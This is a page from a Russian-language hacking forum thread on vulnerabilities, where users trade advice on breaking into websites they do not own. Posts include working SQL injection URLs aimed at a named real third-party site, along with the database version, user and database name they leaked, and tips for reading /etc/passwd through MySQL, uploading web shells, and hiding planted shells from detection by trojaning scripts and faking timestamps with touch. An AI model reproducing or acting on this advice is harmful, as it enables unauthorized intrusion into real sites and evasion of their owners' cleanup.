Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
Page 788 of 1207
  1. zuzzz

    zuzzz Member

    Joined:
    3 Jul 2009
    Messages:
    38
    Likes Received:
    10
    Reputations:
    1
    мысль не уловил)
    до апдейта дело не дойдет, если 1й селект вернёт ошибку. а строка инъукции которую я передам втавляется одновременно и в 1 селект и во 2й апдейт. Вот и не получается мне так написать, что бы и селект не ругнулся и апдейт что нибудь нужное проапдейтил.
    Я хорошо подумал, перед тем как тут этот бред писать

    Мне не нужен хеш админа, я про него ни слова не сказал) там и хешей то нет наверно. И цель у меня не сайт взломать, чисто спортивный интерес+ очень сомнительная вероятность подзаработать. Это не форум не портал, а простенькая браузерная игра.
     
    #15741 zuzzz, 29 Dec 2010
  2. ZARO

    ZARO Elder - Старейшина

    Joined:
    17 Apr 2009
    Messages:
    327
    Likes Received:
    129
    Reputations:
    54
    Если хочешь что бы помог - пиши в асю - 4000840, постараюсь.
     
    #15742 ZARO, 29 Dec 2010
  3. rootmd

    rootmd New Member

    Joined:
    9 Dec 2010
    Messages:
    101
    Likes Received:
    3
    Reputations:
    -5
    в phpmyadmin если есть доступк обычного юзера, можно как-то смотреть phpinfo или что-то подобное?

    phpmyadmin 3.3.2deb1
     
    #15743 rootmd, 29 Dec 2010
  4. Lestatkiy

    Lestatkiy Member

    Joined:
    27 Sep 2010
    Messages:
    50
    Likes Received:
    22
    Reputations:
    5
    да, phpinfo.php лежит в корне phpmyadmin`a
     
    #15744 Lestatkiy, 29 Dec 2010
  5. rootmd

    rootmd New Member

    Joined:
    9 Dec 2010
    Messages:
    101
    Likes Received:
    3
    Reputations:
    -5
    (( белая страница. неважно. нашел уже путь. а теперь проблема. у директрорий стойт 777 права но мускл юзер не может писать/читсть (((( почему? ведь /etc/passwd читает
     
    #15745 rootmd, 29 Dec 2010
  6. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,248
    Likes Received:
    1,148
    Reputations:
    886
    rootmd

    скинь код ошибки
     
    _________________________
    #15746 Konqi, 29 Dec 2010
  7. rootmd

    rootmd New Member

    Joined:
    9 Dec 2010
    Messages:
    101
    Likes Received:
    3
    Reputations:
    -5
    когда пытаюсь читать файл - ничего. когда писать - Errcode 13
     
    #15747 rootmd, 29 Dec 2010
  8. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,248
    Likes Received:
    1,148
    Reputations:
    886
    "chmod 1777" тебе спасет, но кажется у тебя нет прав на выполнение каманд в обалочке.
    попробуй в другие папки...
     
    _________________________
    #15748 Konqi, 29 Dec 2010
  9. rootmd

    rootmd New Member

    Joined:
    9 Dec 2010
    Messages:
    101
    Likes Received:
    3
    Reputations:
    -5
    в другие папки могу но ведь мне нужно чтоб я смог зайти на нем через веб сервер
     
    #15749 rootmd, 29 Dec 2010
  10. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,531
    Likes Received:
    1,250
    Reputations:
    274
    с чего ты взял что там чмод 777 ? 13 ошибка выдает именно то что неты прав на ззапись в данную папку, файл_прив проверял у юзверя? ди унде ешть уэй ?
     
    #15750 Gorev, 29 Dec 2010
  11. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,248
    Likes Received:
    1,148
    Reputations:
    886
    я имел ввиду папки, которые видны из веб

    спроведливый вопрос.

    rootmd

    это когда phpmyadmin стал показывать chmod?
     
    _________________________
    #15751 Konqi, 29 Dec 2010
    1 person likes this.
  12. Bo0oM

    Bo0oM Member

    Joined:
    26 Dec 2009
    Messages:
    2
    Likes Received:
    35
    Reputations:
    21
    Народ, чем брутить SQl inj вида
    1'+and+'1'='1

    Вроде есть тулзы для брута через substring()? кинте в лс плиз
     
    #15752 Bo0oM, 29 Dec 2010
  13. rootmd

    rootmd New Member

    Joined:
    9 Dec 2010
    Messages:
    101
    Likes Received:
    3
    Reputations:
    -5
    я знаю что там chmod 777 потому-что юзеры могут залить картинки там.
     
    #15753 rootmd, 29 Dec 2010
  14. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,531
    Likes Received:
    1,250
    Reputations:
    274
    не там, а туда..и не факт что если туда юзвери заливают картинки то там права 777...смотря как права выставленны и для какого юзверя...почитай мануал
     
    #15754 Gorev, 29 Dec 2010
  15. rootmd

    rootmd New Member

    Joined:
    9 Dec 2010
    Messages:
    101
    Likes Received:
    3
    Reputations:
    -5
    хм....ну я 100% уверен что стойт 777, но если нет, что еще можно сделать?

    имеется
    1. sql injection, под суперюзером
    2. phpmyadmin, нормальный юзер
     
    #15755 rootmd, 29 Dec 2010
  16. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,531
    Likes Received:
    1,250
    Reputations:
    274
    1.через скуль выведи суперь юзвря пасс, попробуй сбрутить, залей шелл через пыху..

    2. попроси в привате знающих людей что бы помогли, а то вынес моск уже со своим рeсурсом 2 день..
     
    #15756 Gorev, 29 Dec 2010
  17. ~d0s~

    ~d0s~ Banned

    Joined:
    17 Apr 2010
    Messages:
    246
    Likes Received:
    257
    Reputations:
    154
    eclipse
    http://www.stigatabletennis.se/pro_objects_details.php?id=1+or+1+group+by+concat(version(),floor(rand(0)*2))having+min(0)+or+1--+
    версия как бы намекае
     
    #15757 ~d0s~, 30 Dec 2010
    3 people like this.
  18. shell_c0de

    shell_c0de Hack All World

    Joined:
    7 Jul 2009
    Messages:
    1,051
    Likes Received:
    615
    Reputations:
    690
    http://www.stigatabletennis.se/pro_objects_details.php?id=-1+union+select+1,2,3,4--
    Version 4.1.22-Max
    Uzver u1081176_stiga@pemlinweb03-backnet.crystone.net
    DB db1081176_stiga_table_tennis
    так что брути таблы...
    upd
    ~d0s~ опередил )
     
    _________________________
    #15758 shell_c0de, 30 Dec 2010
    Last edited: 30 Dec 2010
    4 people like this.
  19. InfectedM

    InfectedM Elder - Старейшина

    Joined:
    4 Nov 2007
    Messages:
    155
    Likes Received:
    12
    Reputations:
    0
    Что за скрипт умет находить шеллы?
    И что можно сделать что бы не детектил..

    Заливаю на сайт шелл , на следующий день его нет.
    В главном каталоге лежит файлик типа "найденные шеллы" и отдельная папка с бекапами шеллов))
     
    #15759 InfectedM, 31 Dec 2010
  20. shell_c0de

    shell_c0de Hack All World

    Joined:
    7 Jul 2009
    Messages:
    1,051
    Likes Received:
    615
    Reputations:
    690
    админ дебил попался значить ))
    протроянь скрипты и не забудь про команду touch =)
     
    _________________________
    #15760 shell_c0de, 31 Dec 2010
(You must log in or sign up to post here.)
Page 788 of 1207
Thread Status:
Not open for further replies.